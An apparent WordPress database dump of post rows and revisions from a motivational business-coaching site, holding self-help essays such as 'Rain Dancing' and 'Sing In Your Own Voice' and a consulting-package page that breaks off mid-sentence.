(688, 2, '2009-08-03 15:25:17', '2009-08-03 22:25:17', '<h2><span style="color: #ff6600;">Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, who never failed to make it rain when they would do their rain dance.  Every time, 100%, when they danced, it rained.  The secret to their 100 percent success rate, when other tribes had far less success with the same dance, was simple:  this particular tribe never stopped dancing.</span></h2>\r\nThink about that…they never stopped dancing until it rained! That is faith in it''s most compelling form... Faith strengthened their persistent action and expectation in knowing dancing creates rain. Rain is what they really want… so they danced! Faith is vitally important to every result of being, doing and having.  We live by faith and not by sight. Faith is “knowing that you know” something you desire is going to happen.  It isn''t a hunch, an educated guess, it is knowing with absolute certainty that no matter what it takes, it will happen. Governed, of course, by the Law of Gestation.\r\n\r\nThis Law states that everything in nature has a gestation or incubation period.  You commonly know this principal from the human pregnancy which has a gestation period of 280 days. This is the known period of time it takes for the gestation of a Human Being. It’s more or less set. A carrot is 11 weeks; an elephant is 15 months… to each its own time.  Ideas and dreams are also governed by the law of Gestation.  Just like the law of gravity, the Law of Gestation is always “on”, so it is critically important to gain greater awareness and understanding of how it works.\r\n<h2><span style="color: #ff6600;">Unlike elephants or humans, ideas take their own sweet time to be born into the physical realm. Many people quit dancing for the fulfillment of their ideas before it is time, their faith and expectation of receiving it expired.\r\n</span></h2>\r\nThey give up too early and are not aware that the time necessary for manifestation simply hadn''t past yet.  Would you ever see a husband come to his pregnant wife and during week 10 of her pregnancy say "Where’s the baby?!?!".  Of course not, that would be ridiculous.\r\n\r\nMany of us, however, do just that with our ideas, dreams and desires. After some period of time has transpired, with no apparent progress, doubt sets in and we say "Where is the result?",  or perhaps, “Oh this is impossible, there’s no way it will rain, there isn’t a cloud in the sky, this is a waste of time!  Frequently, the Law of Gestation on an big idea, dream or desire is longer than the anticipated time most people are willing to invest in it.  As a result, they give up… and “guarantee” a result– it’s just not the one they wanted, but it is the one they created. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience... let it pour!\r\n\r\nSo, the story of the dancing tribe of Indians illustrates perfectly how faith, the law of gestation and belief will work for you in creating what you want in life. Results are guaranteed.  The Indian tribe didn''t stop dancing until the rain came, and they were aware, while dancing, that it could take awhile, but the rains always, eventually come.\r\n\r\n<strong>What are you dancing for and what does your rain look like? </strong>\r\n\r\n<strong> Enjoy the dance!</strong>', 'Rain Dancing', 0, 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance. Every time, 100%, when they danced, it rained....\r\n', 'inherit', 'open', 'open', '', '29-revision-6', '', '', '2009-08-03 15:25:17', '2009-08-03 22:25:17', '', 29, 'http://www.whitehotcenter.com/2009/08/03/29-revision-6/', 0, 'revision', '', 0),
(690, 2, '2010-03-11 08:08:17', '2010-03-11 15:08:17', '<h2><span style="color: #ff6600;"><img class="alignleft size-full wp-image-687" title="indiian" src="http://whc.fbdev.org/wp-content/uploads/2007/10/indiian.gif" alt="indiian" width="478" height="443" />Here’s a great story about a tribe of American Indians, who never failed to make it rain when they would do their rain dance.  Every time, 100%, when they danced, it rained!  The secret to their 100 percent success rate, when other tribes had far less success with the same dance, was simple– this particular tribe never stopped dancing.</span></h2>\r\nThink about that…they never stopped dancing until it rained! That''s faith in it''s most compelling form... Faith strengthened their persistent action and expectation in knowing dancing creates rain. Rain is what they really want… so they danced!\r\n\r\nFaith is vitally important to every result of being, doing and having.  We live by faith and not by sight. Faith is “knowing that you know” something you desire is going to happen.  It isn''t a hunch, an educated guess, it is knowing with absolute certainty that no matter what it takes, it will happen. It''s just a matter of time.\r\n\r\nEverything in nature has a gestation or incubation period.  You commonly know this principal from the human pregnancy which has a gestation period of 280 days. This is the known period of time it takes for the gestation of a Human Being. It’s more or less set. A carrot is 11 weeks; an elephant is 15 months… to each its own time.\r\n<h2><span style="color: #ff6600;"><span style="color: #808080;">Unlike elephants or humans, ideas take their own sweet time to be born into the physical realm. Many people quit dancing for the fulfillment of their ideas before it is time, their faith and expectation of receiving it expired.</span>\r\n</span></h2>\r\nThey give up too early and are not aware that the time necessary for manifestation simply hadn''t past yet.  Would you ever see a husband come to his pregnant wife and during week 10 of her pregnancy say "Where’s the baby?!?!".  Of course not, that would be ridiculous.\r\n\r\nMany of us, however, do just that with our ideas, dreams and desires. After some period of time has transpired, with no apparent progress, doubt sets in and we say "Where is the result?",  or perhaps, “Oh this is impossible, there’s no way it will rain, there isn’t a cloud in the sky, this is a waste of time!  Frequently, the gestation period on an big idea, dream or desire is longer than the anticipated time most people are willing to invest in it.  As a result, they give up… and “guarantee” a result– it’s just not the one they wanted, but it is the one they created.\r\n\r\nNever give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience... let it pour!\r\n\r\nSo, the story of the dancing tribe of Indians illustrates perfectly how faith, and belief will work for you in creating what you want in life. Results are guaranteed.  The Indian tribe didn''t stop dancing until the rain came, and they were aware, while dancing, that it could take awhile, but the rains always, eventually come.\r\n\r\n<strong>What are you dancing for and what does your rain look like? </strong>\r\n\r\n<strong> Enjoy the dance!</strong>', 'Rain Dancing', 0, 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance. Every time, 100%, when they danced, it rained....\r\n', 'inherit', 'open', 'open', '', '29-revision-8', '', '', '2010-03-11 08:08:17', '2010-03-11 15:08:17', '', 29, 'http://www.whitehotcenter.com/2010/03/11/29-revision-8/', 0, 'revision', '', 0),
(691, 2, '2010-03-11 10:06:26', '2010-03-11 17:06:26', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="460" height="340" />\r\n<h2>One of the manifesto principals here on the White Hot Center states– to thine own self be true, no excuses and no exceptions. When you are growing your business and stating your value proposition to prospective clients, it can be tempting to adopt the popular point of view. To remain true to yourself, your vision, your ideas, you have to sing in your own voice.</h2>\r\nWhen you find yourself in new and unfamiliar territory, it takes some experimentation to find your way around the new space you are occupying... you have to learn the language of the new land you find yourself in... finding your voice so to speak... the one that is authentic and true to your forward thinking vision. And just like a singing voice, it requires development and practice to express it through your continuous growth phases.\r\n\r\nYour “voice” is part visual – expressed through your personal physical presence, your brand identity and in the manner and design of your physical surroundings.\r\n\r\nYour “voice” is part verbal- how you talk to yourself, the language you use with others to express who you are in the world and how you can serve their success.\r\n\r\nFinding your voice or the mojo to clearly and confidently express your value proposition to clients you seek to serve takes some time to discover, develop and put into practice. Here are a few suggestions to help you experiment with finding your voice in the new territory your growth places you in:\r\n\r\n<strong>Relax</strong>\r\nThere’s no need to stress about it. Be yourself. I know it sounds trite and cliché, but it’s easy to loose sight of the fact that you have unique gifts, talents and capabilities to share. When you worry and stress about the manner in which you present your ideas to the world, you block yourself off from clarity and confidence. When your mind is relaxed and you are in an inspired state, you’ll naturally express yourself in a manner that people will instantly connect with. Try it.<strong></strong>\r\n\r\n<strong>Maintain an open mind.</strong>\r\nAn open mind eliminates a closed future.  Whatever actions you take, nature will provide you with the feedback necessary to move in the right directions­– if you keep an open mind and pay attention to the signals. When you are at the beginning of any growth phase, you might be tempted to think in terms of the generally accepted or status quo. This limits your scope of opportunities. Keep yourself open to suggestions, coincidences and even random thoughts, but never follow the herd.\r\n\r\n<strong>Play with ideas.</strong>\r\nSeemingly, many people enter a growth phase with a pre-conceived notion about how things ought to be.  My suggestion is you allow yourself to think like a kid and play with your ideas.  Don’t work on your ideas play with them. Out of the innocence of your playful inclinations, your truest nature and authentic voice will begin emerge. You’ll recognize it instantly when you become aware of your experience of ease, joy and the limitless nature of your unique talents and capabilities.<strong></strong>\r\n\r\n<strong>Focus on what matters to you.</strong>\r\nWhatever you focus on expands in your life. That’s why it is critical you remain focused on what matters to you! Say no to the anything that distracts you from what really matters to you. This is difficult at times simply because many people believe they have to please others first. Believe me, you’ll never discover your voice pleasing others.\r\n<h2><span style="color: #808080;">Your voice is your higher nature expressing itself through your commitment to follow your passions, living your truth, and trusting in the process of doing so. You will be far more effective, and experience your greatest success when you sing your own song in your own voice.</span></h2>', 'Sing In Your Own Voice', 0, '', 'publish', 'open', 'open', '', 'sing-in-your-own-voice', '', '', '2010-12-27 16:18:58', '2010-12-27 23:18:58', '', 0, 'http://www.whitehotcenter.com/?p=691', 0, 'post', '', 1),
(692, 2, '2010-03-11 09:54:58', '2010-03-11 16:54:58', '', 'sing', 0, '', 'inherit', 'open', 'open', '', 'sing', '', '', '2010-03-11 09:54:58', '2010-03-11 16:54:58', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/03/sing.gif', 0, 'attachment', 'image/gif', 0),
(693, 2, '2010-03-11 09:55:23', '2010-03-11 16:55:23', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="500" height="369" />', 'Sing In Your Own Voice', 0, '', 'inherit', 'open', 'open', '', '691-revision', '', '', '2010-03-11 09:55:23', '2010-03-11 16:55:23', '', 691, 'http://www.whitehotcenter.com/2010/03/11/691-revision/', 0, 'revision', '', 0),
(694, 2, '2010-03-11 09:56:23', '2010-03-11 16:56:23', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="500" height="369" />\n<h1>One of the manifesto principals here on the WhiteHotCenter states– to thine own self be true, no excuses and no exceptions. When you are growing your business and stating your value proposition to prospective clients, it can be tempting to adopt the popular point of view. To remain true to yourself, your vision, your ideas, you have to sing in your own voice.</h1>\nWhen you find yourself in new and unfamiliar territory, it takes some experimentation to find your way around the new space you are occupying... you have to learn the language of the new land you find yourself in. You’re learning to express yourself within the context of your new surroundings... finding your voice so to speak... the one that is authentic and true to your forward thinking vision. And just like a singing voice, it requires development and practice to express it through your continuous growth phases.\n\nYour “voice” is part visual – expressed through your personal physical presence, your brand identity and in the manner and design of your physical surroundings.\n\nYour “voice” is part verbal- how you talk to yourself, the language you use with others to express who you are in the world and how you can serve their success.\n\nFinding your voice or the mojo to clearly and confidently express your value proposition to clients you seek to serve takes some time to discover, develop and put into practice. Here are a few suggestions to help you experiment with finding your voice in the new territory your growth places you in:\n<h1>Relax</h1>\nThere’s no need to stress about it. Be yourself. I know it sounds trite and cliché, but it’s easy to loose sight of the fact that you have unique gifts, talents and capabilities to share. When you worry and stress about the manner in which you present your ideas to the world, you block yourself off from clarity and confidence. When your mind is relaxed and you are in an inspired state, you’ll naturally express yourself in a manner that people will instantly connect with. Try it.\n\n<strong>Maintain an open mind.</strong>\n\nAn open mind eliminates a closed future.  Whatever actions you take, nature will provide you with the feedback necessary to move in the right directions­– if you keep an open mind and pay attention to the signals. When you are at the beginning of any growth phase, you might be tempted to think in terms of the generally accepted or status quo.\n\nThis limits your scope of opportunities. Keep yourself open to suggestions, coincidences and even random thoughts, but never follow the herd.\n\n<strong>Play with ideas.</strong>\n\nSeemingly, many people enter a growth phase with a pre-conceived notion about how things ought to be.  My suggestion is you allow yourself to think like a kid and play with your ideas.  Don’t work on your ideas play with them. Out of the innocence of your playful inclinations, your truest nature and authentic voice will begin emerge. You’ll recognize it instantly when you become aware of your experience of ease, joy and the limitless nature of your unique talents and capabilities.\n\n<strong>Focus on what matters to you.</strong>\n\nWhatever you focus on expands in your life. That’s why it is critical you remain focused on what matters to you! Say no to the anything that distracts you from what really matters to you. This is difficult at times simply because many people believe they have to please others first. Believe me, you’ll never discover your voice pleasing others.\n\nYour voice is your higher nature expressing itself through your commitment to follow your passions, living your truth, and trusting in the process of doing so. You will be far more effective, experience your greatest success when you sing your own song in your own voice.', 'Sing In Your Own Voice', 0, '', 'inherit', 'open', 'open', '', '691-revision-2', '', '', '2010-03-11 09:56:23', '2010-03-11 16:56:23', '', 691, 'http://www.whitehotcenter.com/2010/03/11/691-revision-2/', 0, 'revision', '', 0),
(696, 2, '2010-03-11 10:00:34', '2010-03-11 17:00:34', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="480" height="355" />\r\n<h2>One of the manifesto principals here on the WhiteHotCenter states– to thine own self be true, no excuses and no exceptions. When you are growing your business and stating your value proposition to prospective clients, it can be tempting to adopt the popular point of view. To remain true to yourself, your vision, your ideas, you have to sing in your own voice.</h2>\r\nWhen you find yourself in new and unfamiliar territory, it takes some experimentation to find your way around the new space you are occupying... you have to learn the language of the new land you find yourself in... finding your voice so to speak... the one that is authentic and true to your forward thinking vision. And just like a singing voice, it requires development and practice to express it through your continuous growth phases.\r\n\r\nYour “voice” is part visual – expressed through your personal physical presence, your brand identity and in the manner and design of your physical surroundings.\r\n\r\nYour “voice” is part verbal- how you talk to yourself, the language you use with others to express who you are in the world and how you can serve their success.\r\n\r\nFinding your voice or the mojo to clearly and confidently express your value proposition to clients you seek to serve takes some time to discover, develop and put into practice. Here are a few suggestions to help you experiment with finding your voice in the new territory your growth places you in:\r\n\r\n<strong>Relax</strong>\r\n\r\nThere’s no need to stress about it. Be yourself. I know it sounds trite and cliché, but it’s easy to loose sight of the fact that you have unique gifts, talents and capabilities to share. When you worry and stress about the manner in which you present your ideas to the world, you block yourself off from clarity and confidence. When your mind is relaxed and you are in an inspired state, you’ll naturally express yourself in a manner that people will instantly connect with. Try it.<strong></strong>\r\n\r\n<strong>Maintain an open mind.</strong>\r\nAn open mind eliminates a closed future.  Whatever actions you take, nature will provide you with the feedback necessary to move in the right directions­– if you keep an open mind and pay attention to the signals. When you are at the beginning of any growth phase, you might be tempted to think in terms of the generally accepted or status quo.\r\n\r\nThis limits your scope of opportunities. Keep yourself open to suggestions, coincidences and even random thoughts, but never follow the herd.\r\n\r\n<strong>Play with ideas.</strong>\r\n\r\nSeemingly, many people enter a growth phase with a pre-conceived notion about how things ought to be.  My suggestion is you allow yourself to think like a kid and play with your ideas.  Don’t work on your ideas play with them. Out of the innocence of your playful inclinations, your truest nature and authentic voice will begin emerge. You’ll recognize it instantly when you become aware of your experience of ease, joy and the limitless nature of your unique talents and capabilities.<strong></strong>\r\n\r\n<strong>Focus on what matters to you.</strong>\r\nWhatever you focus on expands in your life. That’s why it is critical you remain focused on what matters to you! Say no to the anything that distracts you from what really matters to you. This is difficult at times simply because many people believe they have to please others first. Believe me, you’ll never discover your voice pleasing others.\r\n<h2><span style="color: #808080;">Your voice is your higher nature expressing itself through your commitment to follow your passions, living your truth, and trusting in the process of doing so. You will be far more effective, experience your greatest success when you sing your own song in your own voice.</span></h2>', 'Sing In Your Own Voice', 0, '', 'inherit', 'open', 'open', '', '691-revision-4', '', '', '2010-03-11 10:00:34', '2010-03-11 17:00:34', '', 691, 'http://www.whitehotcenter.com/2010/03/11/691-revision-4/', 0, 'revision', '', 0),
(695, 2, '2010-03-11 09:58:40', '2010-03-11 16:58:40', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="480" height="355" />\r\n<h2>One of the manifesto principals here on the WhiteHotCenter states– to thine own self be true, no excuses and no exceptions. When you are growing your business and stating your value proposition to prospective clients, it can be tempting to adopt the popular point of view. To remain true to yourself, your vision, your ideas, you have to sing in your own voice.</h2>\r\nWhen you find yourself in new and unfamiliar territory, it takes some experimentation to find your way around the new space you are occupying... you have to learn the language of the new land you find yourself in. You’re learning to express yourself within the context of your new surroundings... finding your voice so to speak... the one that is authentic and true to your forward thinking vision. And just like a singing voice, it requires development and practice to express it through your continuous growth phases.\r\n\r\nYour “voice” is part visual – expressed through your personal physical presence, your brand identity and in the manner and design of your physical surroundings.\r\n\r\nYour “voice” is part verbal- how you talk to yourself, the language you use with others to express who you are in the world and how you can serve their success.\r\n\r\nFinding your voice or the mojo to clearly and confidently express your value proposition to clients you seek to serve takes some time to discover, develop and put into practice. Here are a few suggestions to help you experiment with finding your voice in the new territory your growth places you in:\r\n\r\n<strong>Relax</strong>\r\n\r\nThere’s no need to stress about it. Be yourself. I know it sounds trite and cliché, but it’s easy to loose sight of the fact that you have unique gifts, talents and capabilities to share. When you worry and stress about the manner in which you present your ideas to the world, you block yourself off from clarity and confidence. When your mind is relaxed and you are in an inspired state, you’ll naturally express yourself in a manner that people will instantly connect with. Try it.<strong></strong>\r\n\r\n<strong>Maintain an open mind.</strong>\r\nAn open mind eliminates a closed future.  Whatever actions you take, nature will provide you with the feedback necessary to move in the right directions­– if you keep an open mind and pay attention to the signals. When you are at the beginning of any growth phase, you might be tempted to think in terms of the generally accepted or status quo.\r\n\r\nThis limits your scope of opportunities. Keep yourself open to suggestions, coincidences and even random thoughts, but never follow the herd.\r\n\r\n<strong>Play with ideas.</strong>\r\n\r\nSeemingly, many people enter a growth phase with a pre-conceived notion about how things ought to be.  My suggestion is you allow yourself to think like a kid and play with your ideas.  Don’t work on your ideas play with them. Out of the innocence of your playful inclinations, your truest nature and authentic voice will begin emerge. You’ll recognize it instantly when you become aware of your experience of ease, joy and the limitless nature of your unique talents and capabilities.<strong></strong>\r\n\r\n<strong>Focus on what matters to you.</strong>\r\nWhatever you focus on expands in your life. That’s why it is critical you remain focused on what matters to you! Say no to the anything that distracts you from what really matters to you. This is difficult at times simply because many people believe they have to please others first. Believe me, you’ll never discover your voice pleasing others.\r\n<h2><span style="color: #808080;">Your voice is your higher nature expressing itself through your commitment to follow your passions, living your truth, and trusting in the process of doing so. You will be far more effective, experience your greatest success when you sing your own song in your own voice.</span></h2>', 'Sing In Your Own Voice', 0, '', 'inherit', 'open', 'open', '', '691-revision-3', '', '', '2010-03-11 09:58:40', '2010-03-11 16:58:40', '', 691, 'http://www.whitehotcenter.com/2010/03/11/691-revision-3/', 0, 'revision', '', 0),
(697, 2, '2010-03-11 10:02:15', '2010-03-11 17:02:15', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="480" height="355" />\r\n<h2>One of the manifesto principals here on the WhiteHotCenter states– to thine own self be true, no excuses and no exceptions. When you are growing your business and stating your value proposition to prospective clients, it can be tempting to adopt the popular point of view. To remain true to yourself, your vision, your ideas, you have to sing in your own voice.</h2>\r\nWhen you find yourself in new and unfamiliar territory, it takes some experimentation to find your way around the new space you are occupying... you have to learn the language of the new land you find yourself in... finding your voice so to speak... the one that is authentic and true to your forward thinking vision. And just like a singing voice, it requires development and practice to express it through your continuous growth phases.\r\n\r\nYour “voice” is part visual – expressed through your personal physical presence, your brand identity and in the manner and design of your physical surroundings.\r\n\r\nYour “voice” is part verbal- how you talk to yourself, the language you use with others to express who you are in the world and how you can serve their success.\r\n\r\nFinding your voice or the mojo to clearly and confidently express your value proposition to clients you seek to serve takes some time to discover, develop and put into practice. Here are a few suggestions to help you experiment with finding your voice in the new territory your growth places you in:\r\n\r\n<strong>Relax</strong>\r\n\r\nThere’s no need to stress about it. Be yourself. I know it sounds trite and cliché, but it’s easy to loose sight of the fact that you have unique gifts, talents and capabilities to share. When you worry and stress about the manner in which you present your ideas to the world, you block yourself off from clarity and confidence. When your mind is relaxed and you are in an inspired state, you’ll naturally express yourself in a manner that people will instantly connect with. Try it.<strong></strong>\r\n\r\n<strong>Maintain an open mind.</strong>\r\n\r\nAn open mind eliminates a closed future.  Whatever actions you take, nature will provide you with the feedback necessary to move in the right directions­– if you keep an open mind and pay attention to the signals. When you are at the beginning of any growth phase, you might be tempted to think in terms of the generally accepted or status quo. This limits your scope of opportunities. Keep yourself open to suggestions, coincidences and even random thoughts, but never follow the herd.\r\n\r\n<strong>Play with ideas.</strong>\r\n\r\nSeemingly, many people enter a growth phase with a pre-conceived notion about how things ought to be.  My suggestion is you allow yourself to think like a kid and play with your ideas.  Don’t work on your ideas play with them. Out of the innocence of your playful inclinations, your truest nature and authentic voice will begin emerge. You’ll recognize it instantly when you become aware of your experience of ease, joy and the limitless nature of your unique talents and capabilities.<strong></strong>\r\n\r\n<strong>Focus on what matters to you.</strong>\r\nWhatever you focus on expands in your life. That’s why it is critical you remain focused on what matters to you! Say no to the anything that distracts you from what really matters to you. This is difficult at times simply because many people believe they have to please others first. Believe me, you’ll never discover your voice pleasing others.\r\n<h2><span style="color: #808080;">Your voice is your higher nature expressing itself through your commitment to follow your passions, living your truth, and trusting in the process of doing so. You will be far more effective, experience your greatest success when you sing your own song in your own voice.</span></h2>', 'Sing In Your Own Voice', 0, '', 'inherit', 'open', 'open', '', '691-revision-5', '', '', '2010-03-11 10:02:15', '2010-03-11 17:02:15', '', 691, 'http://www.whitehotcenter.com/2010/03/11/691-revision-5/', 0, 'revision', '', 0),
(698, 2, '2010-03-11 10:02:23', '2010-03-11 17:02:23', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="480" height="355" />\r\n<h2>One of the manifesto principals here on the WhiteHotCenter states– to thine own self be true, no excuses and no exceptions. When you are growing your business and stating your value proposition to prospective clients, it can be tempting to adopt the popular point of view. To remain true to yourself, your vision, your ideas, you have to sing in your own voice.</h2>\r\nWhen you find yourself in new and unfamiliar territory, it takes some experimentation to find your way around the new space you are occupying... you have to learn the language of the new land you find yourself in... finding your voice so to speak... the one that is authentic and true to your forward thinking vision. And just like a singing voice, it requires development and practice to express it through your continuous growth phases.\r\n\r\nYour “voice” is part visual – expressed through your personal physical presence, your brand identity and in the manner and design of your physical surroundings.\r\n\r\nYour “voice” is part verbal- how you talk to yourself, the language you use with others to express who you are in the world and how you can serve their success.\r\n\r\nFinding your voice or the mojo to clearly and confidently express your value proposition to clients you seek to serve takes some time to discover, develop and put into practice. Here are a few suggestions to help you experiment with finding your voice in the new territory your growth places you in:\r\n\r\n<strong>Relax</strong>\r\n\r\nThere’s no need to stress about it. Be yourself. I know it sounds trite and cliché, but it’s easy to loose sight of the fact that you have unique gifts, talents and capabilities to share. When you worry and stress about the manner in which you present your ideas to the world, you block yourself off from clarity and confidence. When your mind is relaxed and you are in an inspired state, you’ll naturally express yourself in a manner that people will instantly connect with. Try it.<strong></strong>\r\n\r\n<strong>Maintain an open mind.</strong>\r\n\r\nAn open mind eliminates a closed future.  Whatever actions you take, nature will provide you with the feedback necessary to move in the right directions­– if you keep an open mind and pay attention to the signals. When you are at the beginning of any growth phase, you might be tempted to think in terms of the generally accepted or status quo. This limits your scope of opportunities. Keep yourself open to suggestions, coincidences and even random thoughts, but never follow the herd.\r\n\r\n<strong>Play with ideas.</strong>\r\n\r\nSeemingly, many people enter a growth phase with a pre-conceived notion about how things ought to be.  My suggestion is you allow yourself to think like a kid and play with your ideas.  Don’t work on your ideas play with them. Out of the innocence of your playful inclinations, your truest nature and authentic voice will begin emerge. You’ll recognize it instantly when you become aware of your experience of ease, joy and the limitless nature of your unique talents and capabilities.<strong></strong>\r\n\r\n<strong>Focus on what matters to you.</strong>\r\nWhatever you focus on expands in your life. That’s why it is critical you remain focused on what matters to you! Say no to the anything that distracts you from what really matters to you. This is difficult at times simply because many people believe they have to please others first. Believe me, you’ll never discover your voice pleasing others.\r\n<h2><span style="color: #808080;">Your voice is your higher nature expressing itself through your commitment to follow your passions, living your truth, and trusting in the process of doing so. You will be far more effective, experience your greatest success when you sing your own song in your own voice.</span></h2>', 'Sing In Your Own Voice', 0, '', 'inherit', 'open', 'open', '', '691-revision-6', '', '', '2010-03-11 10:02:23', '2010-03-11 17:02:23', '', 691, 'http://www.whitehotcenter.com/2010/03/11/691-revision-6/', 0, 'revision', '', 0);
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(699, 2, '2010-12-27 16:19:06', '2010-12-27 23:19:06', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="460" height="340" />\r\n<h2>One of the manifesto principals here on the White Hot Center states– to thine own self be true, no excuses and no exceptions. When you are growing your business and stating your value proposition to prospective clients, it can be tempting to adopt the popular point of view. To remain true to yourself, your vision, your ideas, you have to sing in your own voice.</h2>\r\nWhen you find yourself in new and unfamiliar territory, it takes some experimentation to find your way around the new space you are occupying... you have to learn the language of the new land you find yourself in... finding your voice so to speak... the one that is authentic and true to your forward thinking vision. And just like a singing voice, it requires development and practice to express it through your continuous growth phases.\r\n\r\nYour “voice” is part visual – expressed through your personal physical presence, your brand identity and in the manner and design of your physical surroundings.\r\n\r\nYour “voice” is part verbal- how you talk to yourself, the language you use with others to express who you are in the world and how you can serve their success.\r\n\r\nFinding your voice or the mojo to clearly and confidently express your value proposition to clients you seek to serve takes some time to discover, develop and put into practice. Here are a few suggestions to help you experiment with finding your voice in the new territory your growth places you in:\r\n\r\n<strong>Relax</strong>\r\nThere’s no need to stress about it. Be yourself. I know it sounds trite and cliché, but it’s easy to loose sight of the fact that you have unique gifts, talents and capabilities to share. When you worry and stress about the manner in which you present your ideas to the world, you block yourself off from clarity and confidence. When your mind is relaxed and you are in an inspired state, you’ll naturally express yourself in a manner that people will instantly connect with. Try it.<strong></strong>\r\n\r\n<strong>Maintain an open mind.</strong>\r\nAn open mind eliminates a closed future.  Whatever actions you take, nature will provide you with the feedback necessary to move in the right directions­– if you keep an open mind and pay attention to the signals. When you are at the beginning of any growth phase, you might be tempted to think in terms of the generally accepted or status quo. This limits your scope of opportunities. Keep yourself open to suggestions, coincidences and even random thoughts, but never follow the herd.\r\n\r\n<strong>Play with ideas.</strong>\r\nSeemingly, many people enter a growth phase with a pre-conceived notion about how things ought to be.  My suggestion is you allow yourself to think like a kid and play with your ideas.  Don’t work on your ideas play with them. Out of the innocence of your playful inclinations, your truest nature and authentic voice will begin emerge. You’ll recognize it instantly when you become aware of your experience of ease, joy and the limitless nature of your unique talents and capabilities.<strong></strong>\r\n\r\n<strong>Focus on what matters to you.</strong>\r\nWhatever you focus on expands in your life. That’s why it is critical you remain focused on what matters to you! Say no to the anything that distracts you from what really matters to you. This is difficult at times simply because many people believe they have to please others first. Believe me, you’ll never discover your voice pleasing others.\r\n<h2><span style="color: #808080;">Your voice is your higher nature expressing itself through your commitment to follow your passions, living your truth, and trusting in the process of doing so. You will be far more effective, and experience your greatest success when you sing your own song in your own voice.</span></h2>', 'Sing In Your Own Voice', 0, '', 'inherit', 'open', 'open', '', '691-autosave', '', '', '2010-12-27 16:19:06', '2010-12-27 23:19:06', '', 691, 'http://www.whitehotcenter.com/2010/03/11/691-autosave/', 0, 'revision', '', 0),
(700, 2, '2010-03-11 10:43:18', '2010-03-11 17:43:18', '', 'SEEDS', 0, '', 'inherit', 'open', 'open', '', 'seeds', '', '', '2010-03-11 10:43:18', '2010-03-11 17:43:18', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/SEEDS.gif', 0, 'attachment', 'image/gif', 0),
(703, 2, '2010-03-11 11:11:02', '2010-03-11 18:11:02', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span>There are two guiding principles that form the foundation of my point of view on creating a life of significance and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $20 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and solo professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create more value for customers and clients, resulting in greater business development success. The outcome is to gain a deeper insight and clarity around the strategic issues facing your business and personal growth. I provide guidance to develop 